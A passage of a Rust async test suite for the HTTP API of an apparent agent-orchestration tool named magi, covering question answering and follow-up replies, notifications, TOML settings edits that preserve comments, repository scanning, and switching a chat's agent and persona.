8267 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8270 }
8271
8272 #[tokio::test]
8273 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8274 let fx = Fixture::start().await;
8275 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8276 let path = format!("/api/questions/{id}/answer");
8277
8278 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8279 assert_eq!(res.status, 200, "{}", res.body);
8280 let body = res.json();
8281 assert_eq!(body["status"], "answered");
8282 assert_eq!(body["answer"]["choice"], "Redis");
8283
8284 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8288 assert_eq!(again.status, 409, "{}", again.body);
8289 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8290 }
8291
8292 #[tokio::test]
8293 async fn saying_something_appends_a_turn_without_answering() {
8294 let fx = Fixture::start().await;
8295 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8296 let path = format!("/api/questions/{id}/say");
8297
8298 let res = fx
8299 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8300 .await;
8301 assert_eq!(res.status, 200, "{}", res.body);
8302 let body = res.json();
8303 assert_eq!(body["status"], "open", "talking back is not a decision");
8304 assert_eq!(body["answer"], Value::Null);
8305 assert_eq!(body["thread"][0]["who"], "operator");
8306 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8307 assert_eq!(body["waiting_on_agent"], true);
8308 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8310 }
8311
8312 #[tokio::test]
8313 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8314 let fx = Fixture::start().await;
8315 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8316
8317 let list = fx.get("/api/questions").await.json();
8318 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8319
8320 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8321 assert_eq!(res.status, 409, "{}", res.body);
8322 let q = fx.questions().get(&id).unwrap();
8323 assert!(q.status.open());
8324 assert!(q.consult.is_none());
8325 }
8326
8327 #[tokio::test]
8328 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8329 let fx = Fixture::start().await;
8330 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8331 let cfg = Config {
8332 agents: vec![crate::config::AgentSpec {
8333 id: "mock".to_owned(),
8334 kind: crate::config::AgentKind::Command,
8335 model: None,
8336 command: vec!["true".to_owned()],
8337 extra_args: Vec::new(),
8338 env: Default::default(),
8339 prompt_delivery: None,
8340 }],
8341 ..Config::default()
8342 };
8343 let talk = crate::talk::begin(
8344 &fx.talks(),
8345 &cfg,
8346 fx.home.path().to_path_buf(),
8347 Some("mock"),
8348 )
8349 .unwrap();
8350 let mut task = Task::new(
8351 "t".to_owned(),
8352 "Do it".to_owned(),
8353 PathBuf::from("/repo/magi"),
8354 Source::Agent {
8355 run: talk.id.clone(),
8356 node: crate::queue::CHAT_NODE.to_owned(),
8357 },
8358 );
8359 task.start("20260902-000000-beef".to_owned());
8360 fx.queue().put(&mut task).unwrap();
8361
8362 let list = fx.get("/api/questions").await.json();
8363 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8364 assert_eq!(
8365 list[0]["choices"],
8366 serde_json::json!(["SQLite", "Redis"]),
8367 "the hand-over is never a choice"
8368 );
8369 fx.questions()
8370 .update(&id, |q| {
8371 q.node = crate::land::APPROVAL_NODE.into();
8372 q.choices = vec!["merge".into(), "hold".into()];
8373 Ok(())
8374 })
8375 .unwrap();
8376 let list = fx.get("/api/questions").await.json();
8377 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8378 let _ = id;
8379 }
8380
8381 #[tokio::test]
8382 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8383 let fx = Fixture::start().await;
8384 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8385 fx.questions()
8386 .update(&id, |q| {
8387 q.node = crate::land::APPROVAL_NODE.into();
8388 q.choices = vec!["merge".into(), "hold".into()];
8389 Ok(())
8390 })
8391 .unwrap();
8392 let cfg = Config {
8393 agents: vec![crate::config::AgentSpec {
8394 id: "mock".to_owned(),
8395 kind: crate::config::AgentKind::Command,
8396 model: None,
8397 command: vec!["true".to_owned()],
8398 extra_args: Vec::new(),
8399 env: Default::default(),
8400 prompt_delivery: None,
8401 }],
8402 ..Config::default()
8403 };
8404 let repo = fx.home.path().join("chat-repo");
8406 std::fs::create_dir_all(&repo).unwrap();
8407 let toml = repo.join("magi.toml");
8408 std::fs::write(&toml, "this is = = not toml").unwrap();
8409 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8410 let mut task = Task::new(
8411 "t".to_owned(),
8412 "Do it".to_owned(),
8413 PathBuf::from("/repo/magi"),
8414 Source::Agent {
8415 run: talk.id.clone(),
8416 node: crate::queue::CHAT_NODE.to_owned(),
8417 },
8418 );
8419 task.start("20260902-000000-beef".to_owned());
8420 fx.queue().put(&mut task).unwrap();
8421
8422 let path = format!("/api/questions/{id}/consult");
8423 let res = fx.post(&path, None).await;
8424 assert!(res.status >= 400, "{}", res.body);
8425 assert!(fx.questions().get(&id).unwrap().consult.is_none());
8426 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8427
8428 std::fs::write(&toml, "").unwrap();
8429 let res = fx.post(&path, None).await;
8430 assert_eq!(res.status, 202, "{}", res.body);
8431 assert!(fx.questions().get(&id).unwrap().consult.is_some());
8432 let q = fx.questions().get(&id).unwrap();
8433 assert!(q.status.open());
8434 assert!(q.answer.is_none());
8435 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
8436 }
8437
8438 #[tokio::test]
8439 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8440 let fx = Fixture::start().await;
8441 let store = fx.questions();
8442 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8443 assert_eq!(
8444 fx.get("/api/health").await.json()["questions_needs_owner"],
8445 1
8446 );
8447
8448 let res = fx
8454 .post(
8455 &format!("/api/questions/{id}/say"),
8456 Some(r#"{"body":"why not Postgres?"}"#),
8457 )
8458 .await;
8459 assert_eq!(res.status, 200, "{}", res.body);
8460 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8461 assert_eq!(
8462 fx.get("/api/health").await.json()["questions_needs_owner"],
8463 0,
8464 "waiting on the agent is not waiting on the owner"
8465 );
8466
8467 let mut q = store.get(&id).expect("get");
8471 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8472 .expect("reply");
8473 store.put(&mut q).expect("put");
8474 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8475 assert_eq!(
8476 fx.get("/api/health").await.json()["questions_needs_owner"],
8477 1,
8478 "the agent's reply is what should light the banner back up"
8479 );
8480 }
8481
8482 #[tokio::test]
8483 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8484 let fx = Fixture::start().await;
8485 let store = fx.questions();
8486
8487 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8488 let res = fx
8489 .post(
8490 &format!("/api/questions/{empty_id}/say"),
8491 Some(r#"{"body":" "}"#),
8492 )
8493 .await;
8494 assert_eq!(res.status, 400, "{}", res.body);
8495
8496 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8497 let mut answered = store.get(&answered_id).expect("get");
8498 answered
8499 .answer(Answer::Choice("SQLite".to_owned()))
8500 .expect("answer");
8501 store.put(&mut answered).expect("put");
8502 let res = fx
8503 .post(
8504 &format!("/api/questions/{answered_id}/say"),
8505 Some(r#"{"body":"still there?"}"#),
8506 )
8507 .await;
8508 assert_eq!(res.status, 409, "{}", res.body);
8509
8510 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8511 let mut abandoned = store.get(&abandoned_id).expect("get");
8512 abandoned.abandon("timed out");
8513 store.put(&mut abandoned).expect("put");
8514 let res = fx
8515 .post(
8516 &format!("/api/questions/{abandoned_id}/say"),
8517 Some(r#"{"body":"still there?"}"#),
8518 )
8519 .await;
8520 assert_eq!(res.status, 409, "{}", res.body);
8521 }
8522
8523 #[tokio::test]
8524 async fn an_answer_the_question_does_not_offer_is_refused() {
8525 let fx = Fixture::start().await;
8526 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8527 let path = format!("/api/questions/{id}/answer");
8528
8529 for body in [
8530 r#"{"choice":"Postgres"}"#,
8531 r#"{"text":"whatever you think"}"#,
8532 r#"{"choice":"Redis","text":"both"}"#,
8533 r#"{}"#,
8534 ] {
8535 let res = fx.post(&path, Some(body)).await;
8536 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8537 assert!(res.json()["error"].is_string(), "{}", res.body);
8538 }
8539 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8541 }
8542
8543 #[tokio::test]
8544 async fn a_free_text_question_takes_text_and_not_a_choice() {
8545 let fx = Fixture::start().await;
8546 let id = ask(&fx, "What should the flag be called?", &[]);
8547 let path = format!("/api/questions/{id}/answer");
8548
8549 assert_eq!(
8550 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8551 400
8552 );
8553 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8554 assert_eq!(res.status, 200, "{}", res.body);
8555 assert_eq!(res.json()["answer"]["text"], "--json");
8556 }
8557
8558 #[tokio::test]
8559 async fn an_unknown_question_is_a_json_404() {
8560 let fx = Fixture::start().await;
8561 let res = fx
8562 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8563 .await;
8564 assert_eq!(res.status, 404, "{}", res.body);
8565 assert!(res.json()["error"].is_string());
8566 }
8567
8568 #[tokio::test]
8569 async fn notifications_list_read_dismiss_and_health_agree() {
8570 let fx = Fixture::start().await;
8571 let store = Notices::at(fx.home.path().join("notifications"));
8572 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8573 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8574
8575 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8576 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8577
8578 let health = fx.get("/api/health").await.json();
8579 assert_eq!(health["notifications_unread"], 2);
8580 assert_ne!(
8581 health["notifications_rev"], rev0,
8582 "the badge must move live"
8583 );
8584
8585 let listed = fx.get("/api/notifications").await.json();
8586 assert_eq!(listed["unread"], 2);
8587 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8588 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8589
8590 let read = fx
8591 .post(&format!("/api/notifications/{}/read", a.id), None)
8592 .await;
8593 assert_eq!(read.status, 200, "{}", read.body);
8594 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8595
8596 let gone = fx
8597 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8598 .await;
8599 assert_eq!(gone.status, 200, "{}", gone.body);
8600 let listed = fx.get("/api/notifications").await.json();
8601 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8602 assert_eq!(listed["unread"], 0);
8603
8604 store.raise(Notice::info("x", "again")).unwrap();
8605 let all = fx.post("/api/notifications/read-all", None).await;
8606 assert_eq!(all.status, 200, "{}", all.body);
8607 assert_eq!(all.json()["marked"], 1);
8608 assert_eq!(
8609 fx.get("/api/health").await.json()["notifications_unread"],
8610 0
8611 );
8612
8613 let missing = fx.post("/api/notifications/nope/read", None).await;
8614 assert_eq!(missing.status, 404, "{}", missing.body);
8615 assert!(missing.json()["error"].is_string());
8616 }
8617
8618 #[tokio::test]
8625 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8626 let f = Fixture::start().await;
8627
8628 let res = f
8629 .post(
8630 "/api/queue",
8631 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8632 )
8633 .await;
8634
8635 assert_eq!(
8636 res.status, 405,
8637 "POST /api/queue must not be a route: {}",
8638 res.body
8639 );
8640 assert!(
8641 f.queue().list().is_empty(),
8642 "a task filed by a route that does not exist must not reach the disk"
8643 );
8644 assert_eq!(f.get("/api/queue").await.status, 200);
8647 }
8648
8649 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8651 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8652 .expect("checkout dir");
8653 }
8654
8655 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8657
8658 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8659 let tmp = TempDir::new().expect("tempdir");
8660 let repo = tmp.path().join("repo");
8661 std::fs::create_dir_all(&repo).expect("repo dir");
8662 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8663 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8664 if let Some(text) = machine_toml {
8665 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8666 std::fs::write(&machine, text).expect("machine toml");
8667 }
8668 (tmp, repo, machine)
8669 }
8670
8671 #[tokio::test]
8672 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8673 let (_tmp, repo, machine) =
8674 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8675 let f = Fixture::with_repo_and_machine(repo, machine).await;
8676 let res = f.get("/api/settings").await;
8677 assert_eq!(res.status, 200, "{}", res.body);
8678 let v = res.json();
8679 assert!(v["error"].is_null(), "{v}");
8680 let role = |k: &str| {
8681 v["roles"]
8682 .as_array()
8683 .and_then(|r| r.iter().find(|x| x["key"] == k))
8684 .cloned()
8685 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8686 };
8687 assert_eq!(role("judges")["source"], "machine");
8688 assert_eq!(role("judges")["editable"], true);
8689 assert_eq!(role("implementers")["source"], "default");
8690 let adv = role("advisors");
8691 assert_eq!(adv["fallback"], "judges");
8692 assert!(
8693 adv["seats"]
8694 .as_array()
8695 .is_some_and(|s| s.iter().all(|x| x == "b")),
8696 "{adv}"
8697 );
8698 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8699 assert_eq!(v["agents"][0]["source"], "repo");
8700 }
8701
8702 #[tokio::test]
8703 async fn settings_get_reports_a_config_that_does_not_parse() {
8704 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8705 let f = Fixture::with_repo_and_machine(repo, machine).await;
8706 let res = f.get("/api/settings").await;
8707 assert_eq!(res.status, 200, "{}", res.body);
8708 let v = res.json();
8709 assert!(v["error"]["message"].is_string(), "{v}");
8710 assert!(
8711 v["error"]["path"]
8712 .as_str()
8713 .is_some_and(|p| p.ends_with("magi.toml")),
8714 "{v}"
8715 );
8716 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8717 }
8718
8719 #[tokio::test]
8720 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8721 let (_tmp, repo, machine) = settings_dirs(
8722 SETTINGS_AGENTS,
8723 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8724 );
8725 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8726 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8727 let rev = f.get("/api/settings").await.json()["revision"]
8728 .as_str()
8729 .expect("revision")
8730 .to_owned();
8731 let body = serde_json::json!({
8732 "revision": rev,
8733 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8734 })
8735 .to_string();
8736 let res = f.put("/api/settings/roles", &body).await;
8737 assert_eq!(res.status, 200, "{}", res.body);
8738 let text = std::fs::read_to_string(&machine).expect("machine");
8739 assert_eq!(
8740 text,
8741 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8742 );
8743 assert_eq!(
8744 std::fs::read(repo.join("magi.toml")).expect("read"),
8745 repo_before
8746 );
8747 let again = f.get("/api/settings").await.json();
8748 let judges = again["roles"]
8749 .as_array()
8750 .expect("roles")
8751 .iter()
8752 .find(|r| r["key"] == "judges")
8753 .expect("judges")
8754 .clone();
8755 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8756 let stale = f.put("/api/settings/roles", &body).await;
8758 assert_eq!(stale.status, 409, "{}", stale.body);
8759 }
8760
8761 #[tokio::test]
8762 async fn settings_counts_are_reported_and_saved() {
8763 let (_tmp, repo, machine) = settings_dirs(
8764 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
8765 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
8766 );
8767 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8768 let v = f.get("/api/settings").await.json();
8769 let count = |v: &serde_json::Value, k: &str| {
8770 v["roles"]
8771 .as_array()
8772 .and_then(|r| r.iter().find(|x| x["key"] == k))
8773 .map(|x| x["count"].clone())
8774 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8775 };
8776 let imp = count(&v, "implementers");
8777 assert_eq!(imp["value"], 2);
8778 assert_eq!(imp["source"], "machine");
8779 assert_eq!(imp["file_key"], "candidates");
8780 assert_eq!(imp["roster_len"], 2);
8781 assert_eq!(imp["backups"], 0);
8782 assert_eq!(count(&v, "judges")["source"], "default");
8783 assert_eq!(count(&v, "advisors")["min"], 0);
8784 assert_eq!(count(&v, "reviewers")["editable"], false);
8785 assert!(
8786 count(&v, "reviewers")["locked_reason"]
8787 .as_str()
8788 .is_some_and(|m| m.contains("graph.reviewers"))
8789 );
8790 assert!(count(&v, "fixer").is_null());
8791 let rev = v["revision"].as_str().expect("revision").to_owned();
8792 let body = serde_json::json!({
8793 "revision": rev,
8794 "roles": { "judges": ["b"] },
8795 "counts": { "implementers": 1, "advisors": 0 }
8796 })
8797 .to_string();
8798 let res = f.put("/api/settings/roles", &body).await;
8799 assert_eq!(res.status, 200, "{}", res.body);
8800 let text = std::fs::read_to_string(&machine).expect("machine");
8801 assert_eq!(
8802 text,
8803 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
8804 );
8805 let after = f.get("/api/settings").await.json();
8806 assert_eq!(count(&after, "implementers")["value"], 1);
8807 assert_eq!(count(&after, "implementers")["backups"], 1);
8808 assert_eq!(count(&after, "advisors")["value"], 0);
8809 let before = std::fs::read_to_string(&machine).expect("machine");
8810 let rev = after["revision"].as_str().expect("revision").to_owned();
8811 for counts in [
8812 serde_json::json!({ "judges": 0 }),
8813 serde_json::json!({ "judges": "x" }),
8814 serde_json::json!({ "judges": 2.5 }),
8815 serde_json::json!({ "judges": -1 }),
8816 serde_json::json!({ "reviewers": 3 }),
8817 serde_json::json!({ "bogus": 3 }),
8818 ] {
8819 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
8820 let res = f.put("/api/settings/roles", &body).await;
8821 assert_eq!(res.status, 422, "{counts}: {}", res.body);
8822 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
8823 }
8824 }
8825
8826 #[tokio::test]
8827 async fn settings_put_refuses_without_touching_the_file() {
8828 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8829 let (_tmp, repo, machine) = settings_dirs(
8830 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8831 Some(machine_text),
8832 );
8833 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8834 let rev = f.get("/api/settings").await.json()["revision"]
8835 .as_str()
8836 .expect("revision")
8837 .to_owned();
8838 for roles in [
8839 serde_json::json!({ "judges": ["nope"] }),
8840 serde_json::json!({ "reviewers": ["b"] }),
8841 serde_json::json!({ "bogus": ["a"] }),
8842 ] {
8843 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8844 let res = f.put("/api/settings/roles", &body).await;
8845 assert_eq!(res.status, 422, "{roles}: {}", res.body);
8846 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8847 assert_eq!(
8848 std::fs::read_to_string(&machine).expect("machine"),
8849 machine_text
8850 );
8851 }
8852 }
8853
8854 #[tokio::test]
8855 async fn repos_list_returns_name_and_path_for_every_configured_root() {
8856 let tmp = TempDir::new().expect("tempdir");
8857 let repo = tmp.path().join("repo");
8858 std::fs::create_dir_all(&repo).expect("repo dir");
8859 let root = tmp.path().join("root");
8860 make_checkout(&root, "github.com", "yukimemi", "magi");
8861 std::fs::write(
8862 repo.join("magi.toml"),
8863 format!(
8864 "[repos]\nroots = [{:?}]\n",
8865 root.to_string_lossy().into_owned()
8866 ),
8867 )
8868 .expect("write magi.toml");
8869
8870 let f = Fixture::with_repo(repo).await;
8871 let res = f.get("/api/repos").await;
8872 assert_eq!(res.status, 200, "{}", res.body);
8873 let list = res.json();
8874 let repos = list.as_array().expect("an array");
8875 assert_eq!(repos.len(), 1);
8876 assert_eq!(repos[0]["name"], "yukimemi/magi");
8877 assert!(
8878 repos[0]["path"]
8879 .as_str()
8880 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8881 "{list}"
8882 );
8883 }
8884
8885 #[tokio::test]
8886 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8887 let tmp = TempDir::new().expect("tempdir");
8888 let repo = tmp.path().join("repo");
8889 std::fs::create_dir_all(&repo).expect("repo dir");
8890 let root = tmp.path().join("root");
8891 make_checkout(&root, "github.com", "yukimemi", "magi");
8892 std::fs::write(
8893 repo.join("magi.toml"),
8894 format!(
8895 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8896 root.to_string_lossy().into_owned()
8897 ),
8898 )
8899 .expect("write magi.toml");
8900
8901 let f = Fixture::with_repo(repo).await;
8902 let first = f.get("/api/repos").await;
8903 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8904
8905 make_checkout(&root, "github.com", "yukimemi", "rvpm");
8908 let second = f.get("/api/repos").await;
8909 assert_eq!(
8910 second.json().as_array().map(Vec::len),
8911 Some(1),
8912 "a fresh cache must not rescan inside the TTL"
8913 );
8914
8915 let refreshed = f.get("/api/repos?refresh=1").await;
8916 assert_eq!(
8917 refreshed.json().as_array().map(Vec::len),
8918 Some(2),
8919 "an explicit refresh must rescan even inside the TTL"
8920 );
8921 }
8922
8923 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8929
8930 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8934 let tmp = TempDir::new().expect("tempdir");
8935 let repo = tmp.path().join("repo");
8936 std::fs::create_dir_all(&repo).expect("repo dir");
8937 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8938 let f = Fixture::with_repo(repo.clone()).await;
8939 (tmp, repo, f)
8940 }
8941
8942 #[tokio::test]
8943 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8944 let (_tmp, _repo, f) = talk_fixture().await;
8945
8946 let opened = f.post("/api/talks", None).await;
8949 assert_eq!(opened.status, 201, "{}", opened.body);
8950 let body = opened.json();
8951 assert_eq!(body["status"], "open");
8952 assert_eq!(
8953 body["turns"].as_array().unwrap().len(),
8954 0,
8955 "opening takes no agent turn: there is nothing yet to answer"
8956 );
8957
8958 let also_opened = f.post("/api/talks", Some("{}")).await;
8960 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8961
8962 let listed = f.get("/api/talks").await.json();
8963 assert_eq!(listed.as_array().unwrap().len(), 2);
8964 }
8965
8966 #[tokio::test]
8967 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8968 let tmp = TempDir::new().expect("tempdir");
8969 let repo = tmp.path().join("repo");
8970 std::fs::create_dir_all(&repo).expect("repo dir");
8971 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8972 std::fs::write(
8973 repo.join("magi.toml"),
8974 format!("{MOCK_AGENT_TOML}\n{second}"),
8975 )
8976 .expect("write magi.toml");
8977 let home = TempDir::new().expect("temp home");
8978 let talks = Talks::at(home.path().join("talks"));
8979 let ui = Arc::new(
8980 Ui::new(
8981 Queue::at(home.path().join("queue")),
8982 Questions::at(home.path().join("questions")),
8983 talks.clone(),
8984 home.path().join("runs"),
8985 home.path().to_path_buf(),
8986 repo.clone(),
8987 )
8988 .with_worktrees_root(home.path().join("wt")),
8989 );
8990 let cfg = config_for(&repo).await.expect("discover config");
8991 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8992 let id = talk.id.clone();
8993 let call = |agent: &str| {
8994 talk_agent(
8995 State(Arc::clone(&ui)),
8996 Path(id.clone()),
8997 Json(TalkAgent {
8998 agent: agent.to_owned(),
8999 }),
9000 )
9001 };
9002
9003 let unknown = call("nobody").await.expect_err("unknown agent");
9004 assert_eq!(
9005 unknown.status,
9006 StatusCode::BAD_REQUEST,
9007 "{}",
9008 unknown.message
9009 );
9010
9011 {
9012 let mut claimed = None;
9015 for _ in 0..200 {
9016 claimed = ui.begin_talk_turn(&id).expect("claim");
9017 if claimed.is_some() {
9018 break;
9019 }
9020 tokio::time::sleep(Duration::from_millis(10)).await;
9021 }
9022 let _busy = claimed.expect("free");
9023 let busy = call("second").await.expect_err("busy talk");
9024 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9025 }
9026 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
9027
9028 let Json(view) = call("second").await.expect("switch");
9029 assert_eq!(view.talk.agent, "second");
9030 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
9031 let saved = talks.get(&id).expect("reload");
9032 assert_eq!(saved.agent, "second");
9033 assert_eq!(saved.turns.len(), 1);
9034
9035 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9036 .await
9037 .expect("detail");
9038 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
9039 assert_eq!(roster, ["mock", "second"]);
9040
9041 let mut closed = talks.get(&id).expect("reload");
9042 talk::close(&mut closed, &talks).expect("close");
9043 let refused = call("mock").await.expect_err("closed talk");
9044 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9045 }
9046
9047 #[tokio::test]
9048 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
9049 let tmp = TempDir::new().expect("tempdir");
9050 let repo = tmp.path().join("repo");
9051 std::fs::create_dir_all(&repo).expect("repo dir");
9052 std::fs::write(
9053 repo.join("magi.toml"),
9054 format!(
9055 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
9056 ),
9057 )
9058 .expect("write magi.toml");
9059 let home = TempDir::new().expect("temp home");
9060 let talks = Talks::at(home.path().join("talks"));
9061 let ui = Arc::new(
9062 Ui::new(
9063 Queue::at(home.path().join("queue")),
9064 Questions::at(home.path().join("questions")),
9065 talks.clone(),
9066 home.path().join("runs"),
9067 home.path().to_path_buf(),
9068 repo.clone(),
9069 )
9070 .with_worktrees_root(home.path().join("wt")),
9071 );
9072 let cfg = config_for(&repo).await.expect("discover config");
9073 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9074 let id = talk.id.clone();
9075 let call = |persona: &str| {
9076 talk_persona(
9077 State(Arc::clone(&ui)),
9078 Path(id.clone()),
9079 Json(TalkPersona {
9080 persona: persona.to_owned(),
9081 }),
9082 )
9083 };
9084
9085 let unknown = call("nobody").await.expect_err("unknown persona");
9086 assert_eq!(
9087 unknown.status,
9088 StatusCode::BAD_REQUEST,
9089 "{}",
9090 unknown.message
9091 );
9092
9093 {
9094 let mut claimed = None;
9095 for _ in 0..200 {
9096 claimed = ui.begin_talk_turn(&id).expect("claim");
9097 if claimed.is_some() {
9098 break;
9099 }
9100 tokio::time::sleep(Duration::from_millis(10)).await;
9101 }
9102 let _busy = claimed.expect("free");
9103 let busy = call("rei").await.expect_err("busy talk");
9104 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9105 }
9106 assert_eq!(talks.get(&id).expect("reload").persona, "");
9107
9108 let Json(view) = call("gendo").await.expect("switch to a configured persona");
9109 assert_eq!(view.talk.persona, "gendo");
9110 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
9111
9112 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9113 .await
9114 .expect("detail");
9115 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
9116 assert_eq!(ids.first(), Some(&"default"));
9117 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
9118
9119 let Json(view) = call("default").await.expect("back to default");
9120 assert_eq!(view.talk.persona, "");
9121
9122 let mut closed = talks.get(&id).expect("reload");
9123 talk::close(&mut closed, &talks).expect("close");
9124 let refused = call("rei").await.expect_err("closed talk");
9125 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9126 }
9127
9128 #[tokio::test]
9129 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
9130 let f = Fixture::start().await;
9131 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
9132 let queue = f.queue();
9133 let mut mine = Task::new(
9134 "rename the loader".to_owned(),
9135 "rename the loader".to_owned(),
9136 PathBuf::from("/repo/magi"),
9137 Source::Agent {
9138 run: talk_id.clone(),
9139 node: "chat".to_owned(),
9140 },
9141 );
9142 queue.put(&mut mine).expect("file the task");
9143 let mut theirs = Task::new(
9144 "unrelated".to_owned(),
9145 "unrelated".to_owned(),
9146 PathBuf::from("/repo/magi"),
9147 Source::Human,
9148 );
